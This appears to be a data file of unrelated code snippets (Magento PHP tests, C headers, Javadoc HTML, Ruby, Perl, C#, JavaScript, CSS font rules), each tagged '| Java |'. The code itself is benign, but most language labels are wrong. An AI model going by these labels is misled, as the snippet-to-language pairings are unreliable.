[
[
\Magento\PageCache\Model\Config::XML_VARNISH_PAGECACHE_BACKEND_HOST,
\Magento\Store\Model\ScopeInterface::SCOPE_STORE,
null,
'example.com',
],
[
\Magento\PageCache\Model\Config::XML_VARNISH_PAGECACHE_BACKEND_PORT,
\Magento\Store\Model\ScopeInterface::SCOPE_STORE,
null,
'8080'
],
[
\Magento\PageCache\Model\Config::XML_VARNISH_PAGECACHE_ACCESS_LIST,
\Magento\Store\Model\ScopeInterface::SCOPE_STORE,
null,
'127.0.0.1, 192.168.0.1,127.0.0.2'
],
[
\Magento\PageCache\Model\Config::XML_VARNISH_PAGECACHE_DESIGN_THEME_REGEX,
\Magento\Store\Model\ScopeInterface::SCOPE_STORE,
null,
serialize([['regexp' => '(?i)pattern', 'value' => 'value_for_pattern']])
],
]
)
);
$this->moduleReader = $this->getMock('Magento\Framework\Module\Dir\Reader', [], [], '', false);
$this->_model = new \Magento\PageCache\Model\Config(
$readFactoryMock,
$this->_coreConfigMock,
$this->_cacheState,
$this->moduleReader
);
}
/**
* test for getVcl method
*/
public function testGetVcl()
{
$this->moduleReader->expects($this->once())
->method('getModuleDir')
->willReturn('/magento/app/code/Magento/PageCache');
$test = $this->_model->getVclFile(Config::VARNISH_3_CONFIGURATION_PATH);
$this->assertEquals(file_get_contents(__DIR__ . '/_files/result.vcl'), $test);
}
public function testGetTll()
{
$this->_coreConfigMock->expects($this->once())->method('getValue')->with(Config::XML_PAGECACHE_TTL);
$this->_model->getTtl();
}
/**
* Whether a cache type is enabled
*/
public function testIsEnabled()
{
$this->_cacheState->expects($this->at(0))
->method('isEnabled')
->with(\Magento\PageCache\Model\Cache\Type::TYPE_IDENTIFIER)
->will($this->returnValue(true));
$this->_cacheState->expects($this->at(1))
->method('isEnabled')
->with(\Magento\PageCache\Model\Cache\Type::TYPE_IDENTIFIER)
->will($this->returnValue(false));
$this->assertTrue($this->_model->isEnabled());
$this->assertFalse($this->_model->isEnabled());
}
}
| Java |
#ifndef _INTERNAL_H
#define _INTERNAL_H
#include "pluginmain.h"
//menu identifiers
#define MENU_ANALYSIS 0
//functions
void internalInit(PLUG_INITSTRUCT* initStruct);
void internalStop();
void internalSetup();
#endif // _TEST_H
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_151) on Tue Jan 16 16:58:40 CET 2018 -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Uses of Interface org.openbase.bco.dal.lib.layer.service.stream.StreamService (BCO DAL 1.5-SNAPSHOT API)</title>
<meta name="date" content="2018-01-16">
<link rel="stylesheet" type="text/css" href="../../../../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Interface org.openbase.bco.dal.lib.layer.service.stream.StreamService (BCO DAL 1.5-SNAPSHOT API)";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../../org/openbase/bco/dal/lib/layer/service/stream/StreamService.html" title="interface in org.openbase.bco.dal.lib.layer.service.stream">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../../index.html?org/openbase/bco/dal/lib/layer/service/stream/class-use/StreamService.html" target="_top">Frames</a></li>
<li><a href="StreamService.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h2 title="Uses of Interface org.openbase.bco.dal.lib.layer.service.stream.StreamService" class="title">Uses of Interface<br>org.openbase.bco.dal.lib.layer.service.stream.StreamService</h2>
</div>
<div class="classUseContainer">No usage of org.openbase.bco.dal.lib.layer.service.stream.StreamService</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../../../../overview-summary.html">Overview</a></li>
<li><a href="../package-summary.html">Package</a></li>
<li><a href="../../../../../../../../../org/openbase/bco/dal/lib/layer/service/stream/StreamService.html" title="interface in org.openbase.bco.dal.lib.layer.service.stream">Class</a></li>
<li class="navBarCell1Rev">Use</li>
<li><a href="../package-tree.html">Tree</a></li>
<li><a href="../../../../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li>Prev</li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../../../../../../../../index.html?org/openbase/bco/dal/lib/layer/service/stream/class-use/StreamService.html" target="_top">Frames</a></li>
<li><a href="StreamService.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>Copyright © 2014–2018 <a href="https://github.com/openbase">openbase.org</a>. All rights reserved.</small></p>
</body>
</html>
| Java |
<a href="http://wikipedia.org">Wikipedia</a> | Java |
/*
dev: Mickeymouse, Moutarde and Nepta
manager: Word
Copyright © 2011
You should have received a copy of the
GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.
*/
#include "bullet.h"
/**
* \fn Bullet* createBullet(Tower *tower)
* \brief create a new bullet
* a new bullet which doesn't have
* \param tower the tower the bullet belong to
*/
Bullet* createBullet(Tower *tower){
Bullet *bullet = malloc(sizeof (Bullet));
bullet->type = tower->type->typeBul;
bullet->position = searchEnemy(tower);
return bullet;
}
/**
* \fn void drawBullet(Bullet *bullet)
* \brief draw a bullet
*
* \param bullet a bullet to draw
*/
void drawBullet(Bullet *bullet){
SDL_Rect position;
position.x = 280; //=xx
position.y = 280; //=yy
blitToViewport(_viewport, bullet->type->image, NULL, &position);
}
/**
* \fn void animateBullet(Bullet *bullet)
* \brief move the bullet to an enemy and draw it
* Depreciated, recode your own function!
* \param bullet the bullet to animate
*/
void animateBullet(Bullet *bullet){
/* if(!(bullet->position->xx == bullet->position->x && bullet->position->yy == bullet->position->y)){*/
drawBullet(bullet);
/* }*/
}
| Java |
<?php
/**
* Nooku Platform - http://www.nooku.org/platform
*
* @copyright Copyright (C) 2007 - 2014 Johan Janssens and Timble CVBA. (http://www.timble.net)
* @license GNU GPLv3 <http://www.gnu.org/licenses/gpl.html>
* @link https://github.com/nooku/nooku-platform for the canonical source repository
*/
namespace Nooku\Library;
/**
* Event Mixin
*
* Class can be used as a mixin in classes that want to implement a an event publisher and allow adding and removing
* event listeners and subscribers.
*
* @author Johan Janssens <http://github.com/johanjanssens>
* @package Nooku\Library\Event
*/
class EventMixin extends ObjectMixinAbstract implements EventMixinInterface
{
/**
* Event publisher object
*
* @var EventPublisherInterface
*/
private $__event_publisher;
/**
* List of event subscribers
*
* Associative array of event subscribers, where key holds the subscriber identifier string
* and the value is an identifier object.
*
* @var array
*/
private $__event_subscribers = array();
/**
* Object constructor
*
* @param ObjectConfig $config An optional ObjectConfig object with configuration options
* @throws \InvalidArgumentException
*/
public function __construct(ObjectConfig $config)
{
parent::__construct($config);
if (is_null($config->event_publisher)) {
throw new \InvalidArgumentException('event_publisher [EventPublisherInterface] config option is required');
}
//Set the event dispatcher
$this->__event_publisher = $config->event_publisher;
//Add the event listeners
foreach ($config->event_listeners as $event => $listener) {
$this->addEventListener($event, $listener);
}
//Add the event subscribers
$subscribers = (array) ObjectConfig::unbox($config->event_subscribers);
foreach ($subscribers as $key => $value)
{
if (is_numeric($key)) {
$this->addEventSubscriber($value);
} else {
$this->addEventSubscriber($key, $value);
}
}
}
/**
* Initializes the options for the object
*
* Called from {@link __construct()} as a first step of object instantiation.
*
* @param ObjectConfig $config An optional ObjectConfig object with configuration options
* @return void
*/
protected function _initialize(ObjectConfig $config)
{
$config->append(array(
'event_publisher' => 'event.publisher',
'event_subscribers' => array(),
'event_listeners' => array(),
));
parent::_initialize($config);
}
/**
* Publish an event by calling all listeners that have registered to receive it.
*
* @param string|EventInterface $event The event name or a KEventInterface object
* @param array|\Traversable|EventInterface $attributes An associative array, an object implementing the
* EventInterface or a Traversable object
* @param mixed $target The event target
* @throws \InvalidArgumentException If the event is not a string or does not implement the KEventInterface
* @return null|EventInterface Returns the event object. If the chain is not enabled will return NULL.
*/
public function publishEvent($event, $attributes = array(), $target = null)
{
return $this->getEventPublisher()->publishEvent($event, $attributes, $target);
}
/**
* Get the event publisher
*
* @throws \UnexpectedValueException
* @return EventPublisherInterface
*/
public function getEventPublisher()
{
if(!$this->__event_publisher instanceof EventPublisherInterface)
{
$this->__event_publisher = $this->getObject($this->__event_publisher);
if(!$this->__event_publisher instanceof EventPublisherInterface)
{
throw new \UnexpectedValueException(
'EventPublisher: '.get_class($this->__event_publisher).' does not implement KEventPublisherInterface'
);
}
}
return $this->__event_publisher;
}
/**
* Set the event publisher
*
* @param EventPublisherInterface $publisher An event publisher object
* @return ObjectInterface The mixer
*/
public function setEventPublisher(EventPublisherInterface $publisher)
{
$this->__event_publisher = $publisher;
return $this->getMixer();
}
/**
* Add an event listener
*
* @param string|EventInterface $event The event name or a KEventInterface object
* @param callable $listener The listener
* @param integer $priority The event priority, usually between 1 (high priority) and 5 (lowest),
* default is 3 (normal)
* @throws \InvalidArgumentException If the listener is not a callable
* @throws \InvalidArgumentException If the event is not a string or does not implement the KEventInterface
* @return ObjectInterface The mixer
*/
public function addEventListener($event, $listener, $priority = EventInterface::PRIORITY_NORMAL)
{
$this->getEventPublisher()->addListener($event, $listener, $priority);
return $this->getMixer();
}
/**
* Remove an event listener
*
* @param string|EventInterface $event The event name or a KEventInterface object
* @param callable $listener The listener
* @throws \InvalidArgumentException If the listener is not a callable
* @throws \InvalidArgumentException If the event is not a string or does not implement the KEventInterface
* @return ObjectInterface The mixer
*/
public function removeEventListener($event, $listener)
{
$this->getEventPublisher()->removeListener($event, $listener);
return $this->getMixer();
}
/**
* Add an event subscriber
*
* @param mixed $subscriber An object that implements ObjectInterface, ObjectIdentifier object
* or valid identifier string
* @param array $config An optional associative array of configuration options
* @return ObjectInterface The mixer
*/
public function addEventSubscriber($subscriber, $config = array())
{
if (!($subscriber instanceof EventSubscriberInterface)) {
$subscriber = $this->getEventSubscriber($subscriber, $config);
}
$subscriber->subscribe($this->getEventPublisher());
return $this;
}
/**
* Remove an event subscriber
*
* @param EventSubscriberInterface $subscriber An event subscriber
* @return ObjectInterface The mixer
*/
public function removeEventSubscriber(EventSubscriberInterface $subscriber)
{
$subscriber->unsubscribe($this->getEventPublisher());
return $this->getMixer();
}
/**
* Get a event subscriber by identifier
*
* The subscriber will be created if does not exist yet, otherwise the existing subscriber will be returned.
*
* @param mixed $subscriber An object that implements ObjectInterface, ObjectIdentifier object
* or valid identifier string
* @param array $config An optional associative array of configuration settings
* @throws \UnexpectedValueException If the subscriber is not implementing the EventSubscriberInterface
* @return EventSubscriberInterface
*/
public function getEventSubscriber($subscriber, $config = array())
{
if (!($subscriber instanceof ObjectIdentifier))
{
//Create the complete identifier if a partial identifier was passed
if (is_string($subscriber) && strpos($subscriber, '.') === false)
{
$identifier = $this->getIdentifier()->toArray();
$identifier['path'] = array('event', 'subscriber');
$identifier['name'] = $subscriber;
$identifier = $this->getIdentifier($identifier);
}
else $identifier = $this->getIdentifier($subscriber);
}
else $identifier = $subscriber;
if (!isset($this->__event_subscribers[(string)$identifier]))
{
$subscriber = $this->getObject($identifier, $config);
//Check the event subscriber interface
if (!($subscriber instanceof EventSubscriberInterface))
{
throw new \UnexpectedValueException(
"Event Subscriber $identifier does not implement KEventSubscriberInterface"
);
}
}
else $subscriber = $this->__event_subscribers[(string)$identifier];
return $subscriber;
}
/**
* Gets the event subscribers
*
* @return array An array of event subscribers
*/
public function getEventSubscribers()
{
return array_values($this->__event_subscribers);
}
} | Java |
require 'nokogiri'
require 'digest'
class XMLReader
# uses nokogiri to extract all system information from scenario.xml
# This includes module filters, which are module objects that contain filters for selecting
# from the actual modules that are available
# @return [Array] Array containing Systems objects
def self.parse_doc(file_path, schema, type)
doc = nil
begin
doc = Nokogiri::XML(File.read(file_path))
rescue
Print.err "Failed to read #{type} configuration file (#{file_path})"
exit
end
validate_xml(doc, file_path, schema, type)
# remove xml namespaces for ease of processing
doc.remove_namespaces!
end
def self.validate_xml(doc, file_path, schema, type)
# validate XML against schema
begin
xsd = Nokogiri::XML::Schema(File.open(schema))
xsd.validate(doc).each do |error|
Print.err "Error in scenario configuration file (#{scenario_file}):"
Print.err " #{error.line}: #{error.message}"
exit
end
rescue Exception => e
Print.err "Failed to validate #{type} xml file (#{file_path}): against schema (#{schema})"
Print.err e.message
exit
end
end
def self.read_attributes(node)
attributes = {}
node.xpath('@*').each do |attr|
attributes["#{attr.name}"] = [attr.text] unless attr.text.nil? || attr.text == ''
end
attributes
end
end | Java |
<?php
// Heading
$_['heading_title'] = 'Blog Viewed Report';
// Text
$_['text_success'] = 'Success: You have modified the blog viewed report!';
// Column
$_['column_article_name'] = 'Article Name';
$_['column_author_name'] = 'Author Name';
$_['column_viewed'] = 'Viewed';
$_['column_percent'] = 'Percent';
// Entry
$_['entry_date_start'] = 'Date Start:';
$_['entry_date_end'] = 'Date End:';
?> | Java |
//
// Copyright (c) 2017 Open Whisper Systems. All rights reserved.
//
#import "OWSViewController.h"
@class TSThread;
NS_ASSUME_NONNULL_BEGIN
@protocol SelectThreadViewControllerDelegate <NSObject>
- (void)threadWasSelected:(TSThread *)thread;
- (BOOL)canSelectBlockedContact;
- (nullable UIView *)createHeaderWithSearchBar:(UISearchBar *)searchBar;
@end
#pragma mark -
// A base class for views used to pick a single signal user, either by
// entering a phone number or picking from your contacts.
@interface SelectThreadViewController : OWSViewController
@property (nonatomic, weak) id<SelectThreadViewControllerDelegate> delegate;
@end
NS_ASSUME_NONNULL_END
| Java |
<?php
namespace App\itnovum\openITCOCKPIT\Core\AngularJS;
class PdfAssets {
/**
* @return array
*/
static public function getCssFiles() {
return [
'/node_modules/bootstrap/dist/css/bootstrap.css',
'/smartadmin4/dist/css/vendors.bundle.css',
'/smartadmin4/dist/css/app.bundle.css',
'/node_modules/@fortawesome/fontawesome-free/css/all.css',
'/css/openitcockpit-colors.css',
'/css/openitcockpit-utils.css',
'/css/openitcockpit.css',
'/css/openitcockpit-pdf.css',
];
}
}
| Java |
#!/usr/bin/perl
package Koha::Reporting::Report::Grouping::DateLastLoaned;
use Modern::Perl;
use Moose;
use Data::Dumper;
use C4::Context;
extends 'Koha::Reporting::Report::Grouping::Abstract';
sub BUILD {
my $self = shift;
$self->setName('datelastborrowed');
$self->setAlias('Date last borrowed');
$self->setDescription('Date last borrowed');
$self->setDimension('item');
$self->setField('datelastborrowed');
}
1;
| Java |
using LeagueSharp.Common;
using SharpDX;
using EloBuddy;
using LeagueSharp.Common;
namespace e.Motion_Katarina
{
public class Dagger
{
private static readonly int DELAY = 0;
private static readonly int MAXACTIVETIME = 4000;
private bool Destructable;
private Vector3 Position;
private int Time;
public Dagger(Vector3 position)
{
Time = Utils.TickCount + DELAY;
this.Position = position;
}
//Object Pooling Pseudo-Constructor
public void Recreate(Vector3 position)
{
Destructable = false;
Time = Utils.TickCount + DELAY;
this.Position = position;
}
public Vector3 GetPosition()
{
return Position;
}
public bool IsDead()
{
return Destructable;
}
public void MarkDead()
{
Destructable = true;
}
public bool IsActive()
{
return Utils.TickCount >= Time;
}
public void CheckForUpdate()
{
if(Time + MAXACTIVETIME <= Utils.TickCount)
{
Destructable = true;
return;
}
}
}
}
| Java |
package org.obiba.mica.search.aggregations;
import org.obiba.mica.micaConfig.service.helper.AggregationMetaDataProvider;
import org.obiba.mica.micaConfig.service.helper.PopulationIdAggregationMetaDataHelper;
import org.springframework.stereotype.Component;
import javax.inject.Inject;
import java.util.Map;
@Component
public class PopulationAggregationMetaDataProvider implements AggregationMetaDataProvider {
private static final String AGGREGATION_NAME = "populationId";
private final PopulationIdAggregationMetaDataHelper helper;
@Inject
public PopulationAggregationMetaDataProvider(PopulationIdAggregationMetaDataHelper helper) {
this.helper = helper;
}
@Override
public MetaData getMetadata(String aggregation, String termKey, String locale) {
Map<String, LocalizedMetaData> dataMap = helper.getPopulations();
return AGGREGATION_NAME.equals(aggregation) && dataMap.containsKey(termKey) ?
MetaData.newBuilder()
.title(dataMap.get(termKey).getTitle().get(locale))
.description(dataMap.get(termKey).getDescription().get(locale))
.className(dataMap.get(termKey).getClassName())
.build() : null;
}
@Override
public boolean containsAggregation(String aggregation) {
return AGGREGATION_NAME.equals(aggregation);
}
@Override
public void refresh() {
}
}
| Java |
<p style="text-align:justify">word0<strong> short term debt securities</strong> word1 word2 word3 <strong>december 21, 2010.</strong></p><p><br /></p> | Java |
/**
* This file is part of d:swarm graph extension.
*
* d:swarm graph extension is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* d:swarm graph extension is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with d:swarm graph extension. If not, see <http://www.gnu.org/licenses/>.
*/
package org.dswarm.graph.delta.match.model.util;
import java.util.Collection;
import java.util.HashSet;
import java.util.Optional;
import java.util.Set;
import org.dswarm.graph.delta.match.model.CSEntity;
import org.dswarm.graph.delta.match.model.ValueEntity;
/**
* @author tgaengler
*/
public final class CSEntityUtil {
public static Optional<? extends Collection<ValueEntity>> getValueEntities(final Optional<? extends Collection<CSEntity>> csEntities) {
if (!csEntities.isPresent() || csEntities.get().isEmpty()) {
return Optional.empty();
}
final Set<ValueEntity> valueEntities = new HashSet<>();
for (final CSEntity csEntity : csEntities.get()) {
valueEntities.addAll(csEntity.getValueEntities());
}
return Optional.of(valueEntities);
}
}
| Java |
#region License
// Copyright (c) 2013, ClearCanvas Inc.
// All rights reserved.
// http://www.ClearCanvas.ca
//
// This file is part of the ClearCanvas RIS/PACS open source project.
//
// The ClearCanvas RIS/PACS open source project is free software: you can
// redistribute it and/or modify it under the terms of the GNU General Public
// License as published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version.
//
// The ClearCanvas RIS/PACS open source project is distributed in the hope that it
// will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
// Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// the ClearCanvas RIS/PACS open source project. If not, see
// <http://www.gnu.org/licenses/>.
#endregion
// This file is auto-generated by the Macro.Model.SqlServer.CodeGenerator project.
namespace Macro.ImageServer.Model.EntityBrokers
{
using Macro.ImageServer.Enterprise;
public interface IServerRuleApplyTimeEnumBroker: IEnumBroker<ServerRuleApplyTimeEnum>
{ }
}
| Java |
#region License
// Copyright (c) 2013, ClearCanvas Inc.
// All rights reserved.
// http://www.ClearCanvas.ca
//
// This file is part of the ClearCanvas RIS/PACS open source project.
//
// The ClearCanvas RIS/PACS open source project is free software: you can
// redistribute it and/or modify it under the terms of the GNU General Public
// License as published by the Free Software Foundation, either version 3 of the
// License, or (at your option) any later version.
//
// The ClearCanvas RIS/PACS open source project is distributed in the hope that it
// will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
// Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// the ClearCanvas RIS/PACS open source project. If not, see
// <http://www.gnu.org/licenses/>.
#endregion
using System;
namespace Macro.ImageServer.Common.Exceptions
{
/// <summary>
/// Represents an exception thrown when the study state is invalid for the operation.
/// </summary>
public class InvalidStudyStateOperationException : System.Exception
{
public InvalidStudyStateOperationException(string message):base(message)
{
}
}
}
| Java |
function assign(taskID, assignedTo)
{
$('.assign').width(150);
$('.assign').height(40);
$('.assign').load(createLink('user', 'ajaxGetUser', 'taskID=' + taskID + '&assignedTo=' + assignedTo));
}
function setComment()
{
$('#comment').toggle();
}
| Java |
(function() {
'use strict';
angular
.module('editor.database', [])
.config(function($indexedDBProvider) {
$indexedDBProvider
.connection('otus-studio')
.upgradeDatabase(1, function(event, db, tx) {
var store = db.createObjectStore('survey_template', { keyPath: 'template_oid'});
store.createIndex('contributor_idx', 'contributor', { unique: false });
});
});
}());
| Java |
/* Image.js
*
* copyright (c) 2010-2017, Christian Mayer and the CometVisu contributers.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 3 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA
*/
/**
*
*/
qx.Class.define('cv.parser.widgets.Image', {
type: "static",
/*
******************************************************
STATICS
******************************************************
*/
statics: {
/**
* Parses the widgets XML configuration and extracts the given information
* to a simple key/value map.
*
* @param xml {Element} XML-Element
* @param path {String} internal path of the widget
* @param flavour {String} Flavour of the widget
* @param pageType {String} Page type (2d, 3d, ...)
*/
parse: function (xml, path, flavour, pageType) {
var data = cv.parser.WidgetParser.parseElement(this, xml, path, flavour, pageType, this.getAttributeToPropertyMappings());
cv.parser.WidgetParser.parseRefresh(xml, path);
return data;
},
getAttributeToPropertyMappings: function () {
return {
'width' : { "default": "100%" },
'height' : {},
'src' : {},
'widthfit' : { target: 'widthFit', transform: function(value) {
return value === "true";
}}
};
}
},
defer: function(statics) {
// register the parser
cv.parser.WidgetParser.addHandler("image", statics);
}
});
| Java |
/* devanagari */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 400;
src: local('Hind'), local('Hind-Regular'), url(https://fonts.gstatic.com/s/hind/v6/Vb88BBmXXgbpZxolKzz6dw.woff2) format('woff2');
unicode-range: U+02BC, U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200B-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB;
}
/* latin-ext */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 400;
src: local('Hind'), local('Hind-Regular'), url(https://fonts.gstatic.com/s/hind/v6/eND698DA6CUFWomaRdrTiw.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 400;
src: local('Hind'), local('Hind-Regular'), url(https://fonts.gstatic.com/s/hind/v6/xLdg5JI0N_C2fvyu9XVzXg.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* devanagari */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 500;
src: local('Hind Medium'), local('Hind-Medium'), url(https://fonts.gstatic.com/s/hind/v6/bWPw4Za2XndpOjggSNN5JPY6323mHUZFJMgTvxaG2iE.woff2) format('woff2');
unicode-range: U+02BC, U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200B-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB;
}
/* latin-ext */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 500;
src: local('Hind Medium'), local('Hind-Medium'), url(https://fonts.gstatic.com/s/hind/v6/TCDCvLw6ewp4kJ2WSI4MT_Y6323mHUZFJMgTvxaG2iE.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 500;
src: local('Hind Medium'), local('Hind-Medium'), url(https://fonts.gstatic.com/s/hind/v6/_JiDQLq4JWzs7prWhNNmuA.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* devanagari */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 700;
src: local('Hind Bold'), local('Hind-Bold'), url(https://fonts.gstatic.com/s/hind/v6/AFoPIhbuX_gBhSszntNC0_Y6323mHUZFJMgTvxaG2iE.woff2) format('woff2');
unicode-range: U+02BC, U+0900-097F, U+1CD0-1CF6, U+1CF8-1CF9, U+200B-200D, U+20A8, U+20B9, U+25CC, U+A830-A839, U+A8E0-A8FB;
}
/* latin-ext */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 700;
src: local('Hind Bold'), local('Hind-Bold'), url(https://fonts.gstatic.com/s/hind/v6/503ks6dbq2nVdfUL61JyAfY6323mHUZFJMgTvxaG2iE.woff2) format('woff2');
unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
/* latin */
@font-face {
font-family: 'Hind';
font-style: normal;
font-weight: 700;
src: local('Hind Bold'), local('Hind-Bold'), url(https://fonts.gstatic.com/s/hind/v6/PQuIEfcr_wdF_zOSNjqWKQ.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* latin */
@font-face {
font-family: 'Montserrat';
font-style: normal;
font-weight: 400;
src: local('Montserrat-Regular'), url(https://fonts.gstatic.com/s/montserrat/v7/zhcz-_WihjSQC0oHJ9TCYPk_vArhqVIZ0nv9q090hN8.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* latin */
@font-face {
font-family: 'Montserrat';
font-style: normal;
font-weight: 700;
src: local('Montserrat-Bold'), url(https://fonts.gstatic.com/s/montserrat/v7/IQHow_FEYlDC4Gzy_m8fcoWiMMZ7xLd792ULpGE4W_Y.woff2) format('woff2');
unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
}
/* cyrillic-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/K88pR3goAWT7BTt32Z01mxJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+0460-052F, U+20B4, U+2DE0-2DFF, U+A640-A69F;
}
/* cyrillic */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/RjgO7rYTmqiVp7vzi-Q5URJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
}
/* greek-ext */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/LWCjsQkB6EMdfHrEVqA1KRJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+1F00-1FFF;
}
/* greek */
@font-face {
font-family: 'Open Sans';
font-style: normal;
font-weight: 400;
src: local('Open Sans'), local('OpenSans'), url(https://fonts.gstatic.com/s/opensans/v13/xozscpT2726on7jbcb_pAhJtnKITppOI_IvcXXDNrsc.woff2) format('woff2');
unicode-range: U+0370-03FF;
}
/* vietnamese */
